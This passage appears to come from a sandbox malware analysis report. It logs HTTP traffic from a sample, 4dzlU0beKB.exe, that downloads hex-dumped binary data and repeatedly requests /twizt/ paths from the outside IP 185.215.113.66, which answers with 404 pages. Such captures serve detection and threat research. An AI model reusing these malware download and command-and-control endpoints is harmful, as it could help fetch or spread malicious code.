d6 66 7c 3b c0 82 b1 8b 0d 97 67 2f a7 46 2a 96 06 0f 71 c7 f6 96 1e 4f 6e a9 39 0e 4d 91 1d e6 42 56 dd 26 38 ab 18 b0 c8 cf 8f fb 89 13 94 53 14 3c bf 36 48 51 1b 87 5a 36 87 38 5a cf 3c d7 95 97 25 fe b1 c8 5b 02 c0 8f 1e 09 3b b4 49 b1 68 ba 92 77 6f 54 fc 89 5f cb 6d 1e b6 9a b7 6d 2b 36 7e cc e0 45 b1 69 9c aa be df df 1d f4 3d b7 a8 96 ac 92 e1 93 43 0c 89 ea db 78 37 56 01 97 33 f2 e4 2d 06 87 3a ef 9f 57 19 7e 8a 31 57 81 35 b7 08 92 ec f5 63 b6 3e 0f db 09 0c 85 fc 7d 97 9f 49 dc 07 d3 ea a1 5b c8 dd 7c 16 9a 50 3a 15 f6 66 56 ea ef c2 9a 3b f0 3b ac c4 1a aa 5e 34 89 5c 35 55 de 65 26 76 1a d9 bc 09 81 d4 c2 e9 5e 5e 13 9e d3 ad cb ab 7d 29 ee b1 26 7f f4 3e e7 e1 06 60 e3 38 a7 fa 7c 7d e8 e7 c3 7a 16 4a 48 6e be 31 95 84 69 42 36 32 74 65 45 13 00 3e 8b 62 03 d7 33 a3 d6 6c 3b 2c d2 35 82 49 cd 95 74 f9 88 7d 9a 4a 15 71 48 e4 d5 c7 d5 e4 79 7a ba 37 86 a4 78 f3 fe b4 cc 38 29 30 29 d3 75 c9 0f 09 6e f0 cf e9 71 ce 12 df c1 40 f8 8a 4c 5d c0 74 ae 53 ab 35 0a 05 52 bf de 67 f6 62 ae 60 58 af ff 8d bf 88 ef 5d da 3a 67 f8 86 56 2f 5c 68 78 69 d8 56 1b 4a 65 6f c1 a0 b8 65 5c 7e df 19 8b b1 bf c1 45 6a f9 34 0b 11 a5 69 0d b7 60 d9 94 e7 46 47 13 88 00 75 21 52 3f e5 95 fe 9e 8e 15 8a 97 ee a4 78 26 16 2c ba 96 0a 53 Data Ascii: F}TH(AR[@u.QKh#e$NB)W5a`N_L$aRL%@DF#rbo =#8;Ysw7O.E-,[;E&0k)wA>]X`/$PEv KgQ0A__<tfO[892-i;hQ=?7>ZCZI`Kn0;@&ddN[,rO+L\|/bzv}gc+[#.?%R"&8{#\|<6!7EHU}}}Tg$B%c?'\Tw~A1QpcOUqUXCTU&AfNWqwG\Q{GSKzv3M6M#H]?L1B>4%bQS%q[D=2#ayo{a0f\|;g/F*qOn9MBV&8S<6HQZ68Z<%[;IhwoT_mm+6~Ei=Cx7V3-:W~1W5c>}I[\|P:fV;;^4\5Ue&v^^})&>`8\|}zJHn1iB62teE>b3l;,5It}JqHyz7x8)0)unq@L]tS5Rgb`X]:gV/\hxiVJeoe\~Ej4i`FGu!R?x&,S
Aug 31, 2022 02:16:23.375961065 CEST	861	IN	Data Raw: 77 8f b7 b0 aa ea 97 56 54 1c e4 93 cd 83 c0 a4 59 4d f9 47 84 a2 43 24 04 b6 70 ed b1 c0 3e 41 6a d4 a3 b9 c7 0c 9d 3e 24 13 42 52 5c 93 9d 2b 60 30 3e 6a 23 1b 82 44 0a bd d1 d4 d2 46 0b 9b 6d aa 52 05 2c 3e 49 3e b1 fb 6d a5 a2 64 4b 7f f4 88 Data Ascii: wVTYMGC$p>Aj>$BR\+`0>j#DFmR,>I>mdK6%!th5@X:`4VS9zN3)p{o^{xzs>@>(Kfq:u%Y8#k=5BA=2_Q/cR.urpDP-d
Aug 31, 2022 02:16:23.375982046 CEST	862	IN	Data Raw: d4 cd 8b 6d 60 fe da 4d 13 83 78 bd e1 67 33 7e 47 cf 7f a7 98 9a c4 c7 a9 90 11 48 7a dd 15 5c dd e4 87 51 75 21 4a e7 39 68 cf ec ad aa 9b 22 de c2 69 41 b4 fa ce 24 4d 0c cd 3f b9 30 41 ee 97 7e 62 4a 0b ae 22 5d 4f 81 3f 4e c0 5f 44 7d ef 5e Data Ascii: m`Mxg3~GHz\Qu!J9h"iA$M?0A~bJ"]O?N_D}^&~ba(;/M8UB=Z_LhU$A lb9fdd{Xow3dg~I\|{d0t~lS)/Y^6s(QC<
Aug 31, 2022 02:16:23.376002073 CEST	864	IN	Data Raw: 0e 23 f5 0e 79 2b b0 d6 cc 0f 95 51 5c 00 9b 4b ce 1f 0c e8 d1 f8 f2 d1 d0 d9 16 cf 63 4c 19 61 89 ed 3a 3e 25 36 92 bc 60 e6 f8 90 a0 df 67 c5 45 e9 3f c7 a7 b5 8d a8 06 1c bd e9 97 2b 09 1a db 68 d7 eb c7 61 5c dd bc 14 60 cd c5 0f 84 22 2d 3d Data Ascii: #y+Q\KcLa:>%6`gE?+ha\`"-=}z)4!;D\Y}cw4q&Hrt3XyK--VX\|+]ZH ]sp&fPxk(stQ92Zq`KGT8w(Q
Aug 31, 2022 02:16:23.376024008 CEST	865	IN	Data Raw: c9 95 21 5a eb ce 7f f9 c6 fb 1f 11 d1 e8 af 02 8c c6 f4 f7 3e 32 5f 2e f2 90 d9 06 bf 64 40 40 7c 79 d1 ae d4 95 57 f0 25 01 96 53 27 e4 df 9a a4 be 02 da a0 c8 66 78 76 00 11 60 7f 6c b9 17 7d 4c 45 a5 37 b2 43 a3 15 a5 45 16 9c 7e 4f 25 1d db Data Ascii: !Z>2_.d@@\|yW%S'fxv`l}LE7CE~O%uf)}BmUZ3Qpy6c=hdf_h]B+7Au<;R"/y_A{eNLh].`7EhGKcsF.Ywr+a]r
Aug 31, 2022 02:16:23.376043081 CEST	866	IN	Data Raw: 80 27 49 5e 69 a6 ee 0d 64 7a 71 b6 79 37 5a 19 d0 05 b9 c1 00 09 a4 49 b0 3b 61 6e cf e4 53 31 7c b0 6e 41 ce 9a f4 cb 35 cf b7 7e 0e 24 e0 23 67 a8 25 dc 7f 7e 26 d3 df db 3f 44 d4 d3 8a 86 ce 1c ed 8a 0a d5 d8 17 ee 61 44 fb 65 41 30 72 70 68 Data Ascii: 'I^idzqy7ZI;anS1\|nA5~$#g%~&?DaDeA0rphyx*A^g1\hj![\[qTXo^\TDW8`#4@nuV7?t(qlrIC-dtXQ+=(3yIt$%aU,V\x,E,]u
Aug 31, 2022 02:16:44.828418016 CEST	883	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:44.884804964 CEST	883	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:44 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:16:45.890073061 CEST	884	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:45.946866035 CEST	884	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:45 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:16:46.971465111 CEST	885	OUT	GET /twizt/4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:47.027870893 CEST	885	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:46 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:16:48.184475899 CEST	886	OUT	GET /twizt/5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:48.241894007 CEST	887	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:48 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:16:49.384533882 CEST	887	OUT	GET /twizt/6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:49.443176985 CEST	888	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:49 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49744	185.215.113.66	80	C:\Users\user\Desktop\4dzlU0beKB.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 02:16:53.750128031 CEST	3546	OUT	GET /twizt/2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:53.809990883 CEST	3547	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:53 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Aug 31, 2022 02:16:54.829653978 CEST	3548	OUT	GET /twizt/3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Host: 185.215.113.66
Aug 31, 2022 02:16:54.886708975 CEST	3549	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 00:16:54 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 